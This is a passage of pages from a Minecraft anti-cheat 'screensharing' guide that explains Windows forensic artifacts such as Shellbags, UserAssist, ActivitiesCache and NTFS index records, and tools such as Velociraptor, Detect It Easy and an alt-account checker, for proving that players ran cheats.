are essential for automatically decoding the binary data and reconstructing the folder paths and associated metadata. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, Shellbags are the ultimate tool for proving intent and knowledge, turning a simple file discovery into a narrative of deliberate action. * **Countering Plausible Deniability:** The most powerful use of Shellbags is to counter the "I don't know how that got there" defense. If you find a cheat in `C:\Users\Player\AppData\Local\HiddenFolder\`, and the player denies ever going there, parsing their Shellbags can produce an entry for that exact path. This proves they actively navigated to that hidden location, demonstrating clear intent. * **Tracking Cheats on USB Drives:** If you suspect a player used cheats from a USB drive that is no longer connected, their Shellbags might still contain entries for folders on that drive (e.g., `E:\Vape\`). This proves they accessed the cheat folder from the removable device. * **Building a Stronger Case:** Finding a suspicious file is good evidence. Proving the player also manually created and navigated to the folder containing it (e.g., a folder named "Minecraft Ghost Clients") makes the case undeniable. Shellbags provide this crucial contextual link. * **Uncovering Hidden Locations:** A player might use hidden attributes to conceal a folder. While you can find it by changing view settings, their Shellbags will prove they accessed it even while it was hidden, showing they knew exactly where to look. [PreviousUser Activity and Knowledge](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge) [NextPowerShell Command History](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/powershell-command-history) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#forensic-value) --- # Event Viewer (Basic Usage for Common IDs) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer.md) . Windows Event Logs provide a chronological record of system and application activities, crucial for spotting specific bypass techniques or system anomalies. [PreviousKey Considerations for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/key-considerations-for-screensharing) [NextUnderstanding Event Viewer](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/understanding-event-viewer) Last updated 1 year ago --- # Activities Cache Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/activities-cache-analysis.md) . Introduced in Windows 10 (Build 1803+) and present in Windows 11, the **Activities Cache** powers the **Windows Timeline** feature, aiming to provide a chronological view of user tasks across applications and potentially synced devices. The data is stored in an SQLite database named `**ActivitiesCache.db**`, located within the user's profile at `C:\Users\%username%\AppData\Local\ConnectedDevicesPlatform\{UserProfile_ID}\ActivitiesCache.db`. For this database to be actively populated, several prerequisites usually need to be met: the OS must be a compatible version, the "Connected User Experiences and Telemetry" (DiagTrack) service generally needs to be running, and the relevant user activity history settings must be enabled in Windows privacy options. Even then, the database content might be encrypted depending on system configuration. Despite these dependencies, when populated, the `ActivitiesCache.db` contains valuable user-centric activity logs, including launched applications, opened file paths, websites visited (browser dependent), start and end timestamps for activities, and application-specific details (like document names or window titles). Forensically, it offers a rich timeline that can corroborate application usage seen elsewhere, track specific file access events, help reconstruct user workflows around specific times, and potentially hold references to files that have since been deleted. Due to potential encryption and the risk of exposing sensitive user data (like linked Microsoft account details) through related registry keys, direct manual parsing is discouraged. The recommended tool is **WxTCmd (Eric Zimmerman)**, a command-line utility specifically designed to parse `ActivitiesCache.db`, handle potential encryption, and output the data (e.g., to CSV) in a forensically sound manner, mitigating privacy risks associated with manual registry browsing of related keys. [PreviousAmcache/Syscache/RecentFileCache Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/amcachesyscacherecentfilecache-analysis) [NextSRUM (System Resource Usage Monitor) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/srum-analysis) Last updated 1 year ago --- # Program Execution | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution.md) . This chapter delves into the most critical category of forensic artifacts for any screenshare investigation: **Program Execution**. These artifacts provide the tangible evidence needed to answer the fundamental question: _Was an unauthorized program launched on this system?_ We will explore a range of artifacts, from the high-precision logs of **Prefetch** and the **Background Activity Moderator (BAM)**, to the historical databases of **Amcache** and the **System Resource Usage Monitor (SRUM)**. A crucial concept for interpreting this evidence is **temporal precision**—the level of detail an artifact provides about _when_ an event occurred. Some artifacts offer high precision, capable of pinpointing an execution down to the minute and second. These include **Prefetch**, which records the last eight run times, and **BAM/DAM**, which logs the timestamp of the last interaction with an executable. They are the primary sources for establishing recent, time-sensitive activity. Conversely, other artifacts provide invaluable proof of execution but with less temporal granularity. Artifacts like **Amcache/Syscache**, **RecentFileCache**, **UserAssist**, and **SRUM** may not reliably show the _most recent_ execution time, but they offer other critical insights: * **Historical Proof:** They confirm that a program _was_ executed at some point in the past, even if other more volatile traces have been cleared. * **Identification via Hash:** Amcache is particularly powerful as it stores the SHA1 hash of an executable, allowing identification even if the file has been renamed to evade detection. * **User and System Context:** UserAssist links program executions directly to a specific user profile, while SRUM provides data on network usage and resource consumption, helping to attribute activity and understand its impact. * **Long-Term Persistence:** SRUM and Activities Cache can retain execution data for weeks or months, often surviving cleanup attempts that target more common artifacts. Understanding the strengths and limitations of each of these artifacts is essenti [PreviousDetection by Mouse Brand](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/detection-by-mouse-brand) [NextPrefetch](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/prefetch) Last updated 9 months ago --- # $INDX ($i30 Index Attributes) Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/indx-analysis.md) . Within the NTFS filesystem, the contents of directories are organized and stored using special index attributes, primarily `$INDEX_ROOT` (for small directories) and `$INDEX_ALLOCATION` (for larger directories). The most common index structure, often referred to by forensic tools using its attribute type identifier `**$i30**`, essentially acts as the directory's listing, containing metadata entries for each file and subdirectory residing within it. Each entry in a directory's `$i30` index stores information derived from the corresponding item's `$MFT` `$FILE_NAME` attribute, including its name, MFT reference number, file attributes, file size, and a set of MACB timestamps mirroring the `$FN` timestamps. Forensically, analyzing `$i30` index attributes, particularly focusing on **slack space** and inactive entries, can yield evidence unavailable elsewhere: * **Deleted File Metadata Recovery:** When a file is deleted, its entry in the parent directory's `$i30` index is marked as inactive but often **not immediately overwritten**. Forensic tools can parse the B-tree structure of the index and its slack space (unused portions within allocated blocks) to **carve out these inactive entries**. This can recover metadata (filename, size, attributes, `$FN` timestamps) for files whose `$MFT` records might have been completely overwritten or are otherwise inaccessible, proving that a file with a specific name existed in that directory at some point. * **Timeline Reconstruction:** The timestamps within `$i30` entries reflect the file's `$FN` timestamps, providing another source for building timelines of file activity specifically within the context of their parent directories. * **Corroboration:** Findings from `$i30` analysis can corroborate evidence from `$MFT` and `$UsnJrnl` regarding file existence, naming, and timing within specific locations. Specialized tools are typically required for effective `$i30` analysis. **INDXRipper (by Harel Segev)** is a notable utility designed specifically to parse NTFS index attributes, including slack space, to recover metadata for both active and deleted files/directories. Running a command like `INDXRipper.exe //./C: --deleted-dirs output.csv` can carve deleted entries from drive C: into a CSV file suitable for analysis in Timeline Explorer. Advanced forensic suites also often include modules for parsing these index attributes. [PreviousVolume Shadow Copies (VSS) Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/volume-shadow-copies-analysis) [NextProcess and Memory Dump Analysis (Kernel Live Dump, RAM Dump)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/process-and-memory-dump-analysis) Last updated 1 year ago --- # Velociraptor | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/velociraptor.md) . _Velociraptor_ stands out as a powerful, advanced, open-source endpoint monitoring, digital forensics, and incident response (DFIR) tool. Operating on a flexible client-server model (though capable of local execution via its GUI or command line), it utilizes its own powerful and expressive _Velociraptor Query Language (VQL)_ to collect and analyze a vast array of artifacts from endpoints across Windows, Linux, and macOS. While its full capabilities extend far beyond typical screensharing, its targeted artifact collection and hunting features make it exceptionally useful for advanced investigations. Key capabilities relevant to advanced screensharing/DFIR: * **Comprehensive Artifact Collection:** Can query and collect nearly any artifact discussed in this guide and many more, including deep filesystem data, registry hives/keys, event logs, process information (running processes, modules, handles), memory artifacts, network state, browser history, etc., often parsing them directly on the endpoint. * **Deep NTFS Analysis:** Includes specialized VQL functions ("NTFS parsers") designed to directly parse low-level NTFS structures like the Master File Table (`$MFT`), USN Journal (`$J`), `$LogFile`, Index Attributes (`$I30`), Alternate Data Streams (ADS), and Extended Attributes. This allows for highly granular filesystem timeline reconstruction, detection of timestomping ($SI vs $FN comparison), recovery of deleted file metadata from `$I30`, and hunting for hidden data in ADS, often more efficiently than combining multiple separate tools. * **Live System Querying ("Hunt" Capabilities):** Excels at querying the _live, volatile_ state of a running system. VQL queries can inspect running processes, list open network sockets and file handles, analyze loaded drivers, enumerate registry keys directly from memory, and interact with various system APIs, capturing data that disappears upon shutdown. * **YARA Integration:** Seamlessly integrates YARA scanning. VQL queries can execute YARA rules (provided as strings or loaded from files) directly against files on disk (`yara()` function with `accessor='file'`) or, crucially, against the memory space of running processes (`yara()` with `accessor='process'`). This enables flexible, signature-based hunting for cheats, malware, or specific bypass indicators within live memory or across the filesystem using custom or community YARA rules. * **Memory Evasion Detection:** The VQL language allows for complex queries that can hunt for indicators of memory evasion techniques. Community-developed VQL artifacts often exist for detecting patterns associated with shellcode injection, reflective DLL loading, process hollowing, or other in-memory threats by analyzing process memory characteristics, loaded modules, and thread states. * **Extensibility:** Users can write their own custom VQL queries (artifacts) to collect or analyze virtually any data accessible on the endpoint, tailoring investigations to specific needs or new threats. * **Usage in Screensharing:** While potentially overkill for basic checks, Velociraptor offers unparalleled capabilities for _advanced manual investigations_ during a screenshare. It allows the SSer to perform deep dives into NTFS artifacts, run targeted YARA scans against memory or specific file paths, investigate volatile process states, and collect specific evidence sets efficiently using VQL, potentially uncovering sophisticated cheats or bypasses missed by standard tools. Its GUI (`velociraptor.exe gui`) provides an accessible interface for running predefined or custom VQL queries locally. Velociraptor represents a significant step up in tooling, bridging the gap between standard screensharing practices and full-scale digital forensic investigations. [PreviousDetect It Easy (DiE)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/detect-it-easy) [NextMagnet EDD (Encrypted Disk Detector)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/magnet-edd) Last updated 1 year ago --- # Detect It Easy (DiE) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/detect-it-easy.md) . _Detect It Easy (DiE)_ is a versatile, free utility primarily designed for **identifying the file type and analyzing the structure of executable files**, with a strong focus on Portable Executable (PE) files commonly found on Windows (`.exe`, `.dll`, `.sys`, etc.), but also supporting other formats like ELF (Linux) and Mach-O (macOS). It helps analysts understand how a file was compiled, what packer or protector might have been used, and what resources or dependencies it contains. Key features relevant to screensharing include: * **Packer/Protector/Compiler Detection:** DiE incorporates a large database of signatures to identify common software packers (UPX, Themida, VMProtect, Aspack, etc.), protectors (Safeguard, Enigma), compilers (MS Visual C++, Delphi, GCC), and linkers used to create the executable. Identifying the use of a packer, especially a strong commercial one like Themida or VMProtect, on an unknown executable is highly suspicious as these are frequently used to obfuscate malware and cheats. * **PE Structure Analysis:** Allows detailed examination of the PE file's headers (DOS header, NT headers, Optional header), sections (`.text`, `.data`, `.rsrc`, etc.), import table (listing DLLs and functions the file uses from external libraries), export table (functions the file provides, relevant for DLLs), and embedded resources. Anomalies in the structure (e.g., unusual section names, non-standard entry points) can be indicators of modification or packing. * **String Extraction:** Can extract embedded ASCII and Unicode strings from the file. Searching these strings can reveal clues like internal function names, developer comments, error messages, configuration keys, URLs, or keywords related to cheating (`aimbot`, `esp`, `hwid`) or anti-analysis (`VirtualBox`, `Debugger`). * **Entropy Calculation:** Calculates and often visually displays the entropy for the entire file and for individual sections, aiding in the identification of packed or encrypted sections (as discussed above). * **Dependency Viewer:** Analyzing the import table shows which system DLLs (like `kernel32.dll`, `user32.dll`) and potentially non-standard DLLs the executable relies on. Importing suspicious functions related to memory manipulation (`WriteProcessMemory`), hooking (`SetWindowsHookEx`), or debugging detection (`IsDebuggerPresent`) can raise flags. * **Troubleshooting Non-Executing Files:** As highlighted in the hypothetical scenarios, if a suspicious executable file fails to run during a screenshare or closes immediately (perhaps due to detecting AnyDesk or other tools), DiE provides a safe way to analyze its structure, strings, imports, and packer information _without executing it_, potentially revealing its purpose or confirming its malicious nature based on these static characteristics. DiE serves as a valuable static analysis tool, helping ScreenSharers dissect executables to identify obfuscation, suspicious dependencies, embedded strings, and other structural indicators that hint at malicious intent or cheating capabilities. [PreviousFile Entropy Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/file-entropy-analysis) [NextVelociraptor](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/velociraptor) Last updated 1 year ago --- # File System Activity | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity.md) . Beyond proving that a program was executed, a thorough forensic investigation must answer a second fundamental question: **What is the story of the files involved?** This chapter transitions from execution artifacts to the records left within the file system itself. These artifacts reveal the complete lifecycle of a file—from its creation and modification to its eventual deletion—and are the key to uncovering attempts to conceal, alter, or destroy evidence. We will explore the core components of the NTFS file system, which acts as its own meticulous record-keeper. Artifacts like the **Master File Table ($MFT)**, the **USN Journal ($UsnJrnl)**, and the **$LogFile** provide an unparalleled, low-level view of every transaction that occurs on a disk. They are the ultimate source of truth for file system events and are incredibly resilient to tampering. This chapter will cover: * The foundational databases of NTFS, such as the **$MFT**, which catalogs every file, and **Index Attributes ($INDX)**, which organize directory contents. * The chronological logs, like the **USN Journal**, that track every change, providing definitive proof of file creation, deletion, and renaming. * Specialized logs like the **$LogFile**, which can reveal evidence of advanced anti-forensic techniques such as timestomping. * System features that preserve historical data, including the **Recycle Bin** for standard deletions and **Volume Shadow Copies (VSS)**, which act as "time capsules" for the entire file system. * Hidden data structures like **Alternate Data Streams (ADS)**, which can be abused to conceal malicious payloads within seemingly benign files. Mastering the analysis of these artifacts is what elevates a screenshare from a simple search for suspicious files to a true forensic examination. It is in these records that the most sophisticated bypass attempts—such as file replacement, timestomping, and evidence clearing—are definitively exposed. [PreviousSystem Resource Usage Monitor (SRUM)](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/system-resource-usage-monitor-srum) [NextMaster File Table](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/file-system-activity/master-file-table) Last updated 9 months ago --- # UserAssist | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#purpose-and-function) Purpose and Function The **UserAssist** artifact is a set of registry keys within each user's profile that functions as a Most Recently Used (MRU) list for applications launched through the Windows graphical shell (e.g., via the Start Menu, Desktop, or Explorer). Its primary system purpose is to populate lists of frequently used programs, helping to personalize the user experience. From a DFIR perspective, UserAssist is a valuable source of evidence for tracking which GUI-based applications a specific user has launched, how many times they have launched them, and when they were last executed. It provides a user-centric view of program execution history. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#location-and-structure) Location and Structure UserAssist data is stored within the current user's **NTUSER.DAT** registry hive. It can also be found in `UsrClass.dat` on newer Windows versions. * **Location:** `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` Within this key, there are typically two or more subkeys, each identified by a Globally Unique Identifier (GUID). Each GUID corresponds to a different type of program or shortcut: * `{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}`: Tracks the execution of `.exe` files and system items. * `{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}`: Tracks the execution of `.lnk` (shortcut) files. Inside each GUID key is a `Count` subkey. The `Count` key contains a series of registry **values** where the actual forensic data is stored. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#data-encoding-and-stored-metadata) Data Encoding and Stored Metadata A defining characteristic of UserAssist is that its data is encoded using the **ROT-13** cipher, a simple letter substitution cipher. The names of the registry values are the ROT-13 encoded paths or names of the executed programs. Specialized forensic tools are required to decode this data into a human-readable format. Once decoded, each UserAssist entry provides the following metadata: * **Executable/Shortcut Name:** The name of the program or shortcut that was launched. This can include full paths for items launched from specific locations. * **Run Count:** A counter that tracks the total number of times the program has been executed by the user. * **Last Execution Timestamp:** A `FILETIME` timestamp indicating the date and time the program was last launched. * **Focus Time/Count (Windows 10+):** Newer versions of Windows may also track the amount of time the application was in the foreground (had focus) and the number of times it gained focus. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#forensic-value) Forensic Value UserAssist is a powerful artifact for building a profile of a user's application usage. Its forensic value is significant for several reasons: * **User-Specific Evidence:** The data is stored in the user's private registry hive, directly linking program execution to a specific user account. This is critical in multi-user environments. * **Historical Timeline:** It provides a historical record of application launches, including a run count that can help establish patterns of use over time. * **Proof of Execution:** It serves as direct evidence that a user launched a specific GUI-based application, complementing other artifacts like Prefetch and BAM. * **Detection of Anti-Forensics:** The UserAssist keys are a common target for cleanup utilities (e.g., CCleaner) and manual deletion. Finding these keys empty on a system that is clearly in regular use, or finding evidence of their recent deletion (e.g., via a forensic registry parser), is a strong indicator of an attempt to cover tracks. It is important to note that UserAssist primarily tracks programs launched through the GUI. Applications launched solely via the command line may not create an entry. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, UserAssist provides crucial context about a user's habits and can corroborate findings from other execution artifacts. * **Corroborating Evidence:** If Prefetch and BAM show the execution of a suspicious `.exe`, finding a corresponding entry in UserAssist strengthens the case by confirming the launch was initiated through the GUI, directly linking it to the user's actions. * **Run Count as an Indicator:** A high run count on a known cheat or suspicious tool can undermine claims that it was "run once by accident." It demonstrates a pattern of repeated use. * **Tracking Renamed Cheats:** UserAssist logs the name of the executable _at the time of execution_. If a cheater runs `vape.exe` and then renames it to `homework.exe`, the UserAssist entry will still point to `vape.exe`, preserving the original name. [PreviousBAM & DAM](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/bam-and-dam) [NextAmcache / Syscache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#location-and-structure) * [Data Encoding and Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#data-encoding-and-stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/userassist#forensic-value) --- # .minecraft Folder (Location, Structure) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-folder.md) . Minecraft stores all its essential game files, assets, configurations, logs, saved worlds, resource packs, shader packs, and importantly, **mods**, within a primary directory commonly referred to as the `**.minecraft**` folder. * **Default Location:** By default, on Windows, this folder is located in the user's roaming AppData directory: `C:\Users\{username}\AppData\Roaming\.minecraft`. This path can often be accessed quickly via the Run dialog (Win+R) using the environment variable shortcut `%appdata%\.minecraft`. * **Variable Location:** **CRITICAL:** The location of the `.minecraft` folder used by the _active_ game instance is **NOT FIXED** and should **NEVER** be assumed to be the default path without verification. As mentioned, custom launchers or manual user configuration can place the game directory almost anywhere on the system's storage devices (e.g., `D:\Games\MinecraftInstances\MyModpack`, `C:\MultiMC\Instances\Forge1.8.9\.minecraft`). Blindly checking only the default `%appdata%\.minecraft` path is a common mistake that leads to **missed evidence and ineffective screenshares.** * **Finding the Correct** `**.minecraft**` **Folder During a Screenshare:** Identifying the _actual_ game directory being used by the running Minecraft instance is paramount. The most reliable methods are: 1. **In-Game Method (Recommended First Step):** * While Minecraft is running, navigate to _Options..._ (or equivalent). * Select _Resource Packs..._. * Click the _Open Pack Folder_ button (or similar wording depending on version/language). * This action will open the `resourcepacks` subfolder within the currently active game directory. * Navigate **one level up** from the `resourcepacks` folder to its parent directory. **This parent directory is the correct** `**.minecraft**` **(or equivalent root game folder) being used by that specific instance.** Note this path carefully. 2. **System Informer (Process Analysis - Advanced/Confirmation):** * Run System Informer with administrator privileges (ensure Kernel-Mode Driver is enabled if needed). * Find the specific `javaw.exe` process belonging to the Minecraft instance. * Right-click the process > Properties > Memory tab > Strings button. * Configure the search (e.g., Min length 5, Mapped & Private selected). * Click the Filter button and use a "Contains (case-insensitive)" filter. * Search for strings containing common subdirectory names like `\mods` or `\versions` or `\resourcepacks`. * Examine the resulting full paths found in the process memory. These paths will reveal the exact directories the running game is actively accessing, confirming the correct `.minecraft` location and its subfolders like `mods`. * **Structure and Relevant Subdirectories:** Within the correct root game folder, several subdirectories are particularly relevant for cheat detection: * `versions/`: Contains subfolders for each installed Minecraft version (vanilla or modded like Forge/Fabric). Inside these, you find the core game `.jar` files (which can be targets for Javaedit) and associated libraries. * `mods/`: This is where Forge or Fabric mods (`.jar` files) are placed to be loaded by the game. This folder is a primary target for analysis. * `libraries/`: Stores essential Java libraries required by Minecraft and Forge/Fabric. Occasionally, modified or malicious libraries might be placed here. * `logs/`: Contains log files generated by the game and Forge/Fabric (e.g., `latest.log`, `debug.log`). These can show errors, loaded mods, and sometimes runtime information useful for context. * `config/`: Often contains configuration files (`.cfg`, `.toml`, `.json`) for installed mods, which might reveal suspicious settings. * `resourcepacks/` & `shaderpacks/`: While typically containing cosmetic assets, examining modification dates or unusual file types here can occasionally be relevant. [PreviousLaunchers (Official, Custom: Lunar, Badlion, etc.)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/launchers) [NextCategorizing Minecraft Cheats (Context for Analysis)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/categorizing-minecraft-cheats-context-for-analysis) Last updated 1 year ago --- # RedLotus Alt Checker | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-alt-checker.md) . The **RedLotus Alt Checker** is an advanced, privacy-focused utility designed to detect ban evasion. It scans the entire system across **all connected drives** to identify alternate accounts across various platforms, resolve UUIDs, and analyze file system history to uncover cleanup attempts. **⚙️ Universal Scanning Engine** The tool utilizes a high-performance engine based on **Memory Mapping** and **Single-Pass Search** to provide instant results with minimal RAM usage. * **Multi-Drive & MFT Integration:** Scans **ALL fixed drives (A-Z)** connected to the system. It directly parses the **Master File Table (MFT)** for instant results while maintaining deep recursive scanning for complex folder structures. * **Massive Client Support:** Automatically extracts accounts and traces from a vast array of clients and platforms, including: * **Minecraft (Java & Launchers):** Lunar, Badlion, Feather, Prism, Modrinth, ATLauncher, Technic, SKlauncher, PolyMC, CurseForge, MultiMC. * **Cheat Clients:** Meteor, Wurst, Aristois, Impact, LiquidBounce. * **Other Platforms:** Steam, Discord, **Hytale**, and Windows System Users. **🆔 Intelligent Identity Resolution** * **UUID Auto-Resolver:** The tool goes beyond raw log data by automatically fetching real usernames from **Mojang's API** for any UUIDs found in logs or config files, resolving them to human-readable identities. * **Smart "Fuzzy" Target Search:** Utilizes an intelligent algorithm to detect username variations (e.g., `TheGamer` vs `Th3_G4m3r_01`) and typos that standard exact-match searches would miss, ensuring evasive usernames are flagged. * **Smart Cleanup:** The output is automatically filtered to remove noise and duplicates, presenting a clean, sorted report organized by platform. **💾 Advanced Forensics (USN Journal)** Beyond simple account listing, the tool digs into the filesystem history to detect tampering: * **Historical Analysis:** Retrieves a detailed history of filesystem events over the last **14 days**. * **Trace Detection:** Specifically targets **deleted and modified Minecraft-related files**, effectively exposing attempts to clean traces, delete logs, or hide client usage prior to a check. * **Cleanup Exposure:** Highlights patterns consistent with "clean-up" methods or manual evidence destruction. **🛡️ Privacy & Security Architecture** Built with a "Privacy First" mindset to ensure safety for both the staffer and the player: * **Hybrid Local/API Processing:** The core scanning and file processing happen **entirely locally**. External connections are strictly limited to the **Mojang API** (or fallbacks) solely for the purpose of UUID name resolution. No full logs or results are uploaded to external cloud databases. * **Ethical Design:** It extracts **only public display names**. Sensitive data such as passwords, emails, session tokens, or authentication keys are **never** accessed, read, or displayed. * **Peace of Mind:** Automated scanning removes the need for staff to manually dig through personal user folders, protecting everyone's privacy while ensuring a thorough check. **🔗 Download** **Link:** [Download RedLotus Alt Checker](https://github.com/ItzIceHere/RedLotusAltChecker/releases/download/RL/RedLotusAltChecker.exe) [PreviousRedLotus Mod Analyzer](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-mod-analyzer) [NextSpok's Tools](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/spoks-tools) Last updated 4 months ago --- # Understanding Event Viewer | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/understanding-event-viewer.md) . As introduced earlier, Event Viewer is the built-in tool for accessing logs that record significant system events, errors, warnings, and security audits. For screensharing, its primary value often lies in finding evidence of specific suspicious actions. [PreviousEvent Viewer (Basic Usage for Common IDs)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer) [NextAccessing Event Viewer](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/accessing-event-viewer) Last updated 1 year ago --- # File Entropy Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/file-entropy-analysis.md) . _File entropy_, in a simplified sense, is a mathematical measure of the **randomness or disorder** within the data of a file. It's calculated based on the distribution of different byte values within the file. In the context of screensharing and malware analysis, file entropy serves as a useful heuristic indicator, particularly for identifying files that might have been intentionally **packed, encrypted, or obfuscated**. * **Why it Matters:** Legitimate, uncompressed executable code and standard data formats tend to have structure and repetition, resulting in relatively lower entropy values. Conversely, processes like compression (lossless or lossy), encryption, and the techniques used by software packers (tools designed to compress executables and protect them from reverse engineering) inherently increase the randomness and unpredictability of the byte distribution within the file. * **Interpreting Entropy Values:** Entropy is typically measured on a scale from 0 (perfect order, e.g., a file full of null bytes) to 8 (maximum randomness, typical of well-encrypted or compressed data). * _Low Entropy (e.g., < 6.0):_ Often seen in uncompressed text files, simple executables with lots of structured data, or files with large sections of uniform data. * _High Entropy (e.g., > 7.0 - 7.5):_ This is a **strong indicator** that the file contains highly random data, which is characteristic of **encrypted content, compressed data, or code obfuscated using sophisticated packers** (like Themida, VMProtect). Malware and cheats are frequently packed or encrypted precisely to evade signature-based detection and hinder analysis. * **As a Suspicion Indicator:** While high entropy **does not definitively prove** a file is malicious (legitimate installers, compressed archives, and encrypted documents also have high entropy), finding 